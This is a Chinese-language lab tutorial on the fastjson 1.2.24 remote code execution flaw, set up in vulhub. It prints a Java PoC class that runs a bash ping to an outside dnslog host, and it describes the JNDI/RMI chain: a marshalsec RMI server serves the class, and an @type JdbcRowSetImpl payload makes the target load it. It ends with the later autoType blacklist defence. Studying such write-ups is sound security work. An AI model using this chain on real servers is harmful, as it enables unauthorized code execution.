1.2.24-RCE

我们先举一个最开始的漏洞来理解这个漏洞,之后的漏洞无非是在这个上面将一些恶意类或其他字符加入黑名单 我们使用vulhub来演示

首先先编译一下执行的代码

// javac poc.java
import java.lang.Runtime;
import java.lang.Process;

public class poc {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "ping 88s1yo.dnslog.wiki"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

将poc.class上传至服务器。 然后我们还需使用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个RMI服务器

  • RMI,用官方的话来说:RMI 应用程序通常包括两个独立的程序,一个服务器和一个客户端。典型的服务器程序创建一些远程对象,使这些对象的引用可访问,并等待客户端调用这些对象上的方法。典型的客户端程序获取对服务器上一个或多个远程对象的远程引用,然后调用它们的方法。RMI 提供了服务器和客户端通信和来回传递信息的机制。这种应用程序有时被称为分布式对象应用程序。

  • 通俗易懂的来说,RMI就是一个机器 执行 另一个机器 给的命令,但是执行的命令是不会显的

  • 首先我们使用python搭建一个简易的服务器:(默认开启8000端口)

  • 所以我们这里需要启动一个RMI服务器让靶机来访问RMI来执行命令

  • 注意这里使用的是java -cp而不是Java -jar。

  • 我们解压jar包,META-INF文件夹下都有MANIFEST.MF,在MANIFEST.MF中会有一个Main-Class,他是指定入口。如果你的MANIFEST.MF文件中没有Main-Class,就会提示Cant load main-class之类的错误。

  • 所以这里使用-cp执行,指定marshalsec.jndi.RMIRefServer

向靶场服务器发送Payload,带上RMI的地址:

这里解释一下:

前面说过,fastjson序列化的时候,把原始类型记录下来

序列化后的字符串中添加@type属性,存放对象类型

首先我们找到需要调用的类com.sun.rowset.JdbcRowSetImpl,这个类一定会被加载

被攻击的服务器拿到这个恶意的数据就找rmi服务器去执行命令

这个rmi服务器相当于请求8000端口服务器中的poc.class

从rmi请求中得到命令ping 88s1yo.dnslog.wiki

然后被攻击的服务器就回去执行命令

整个过程可以用以下流程图表示

所以说fastjson的漏洞核心就是可以加载任意类,所以在之后的版本中就是一直在完善黑名单

从1.2.45开始,fastjson默认关闭了autotype,并且加入了checkAutotype检测机制

设置了黑名单,如果ClassName命中黑名单,程序则直接抛出异常: autoType is not support.

Last updated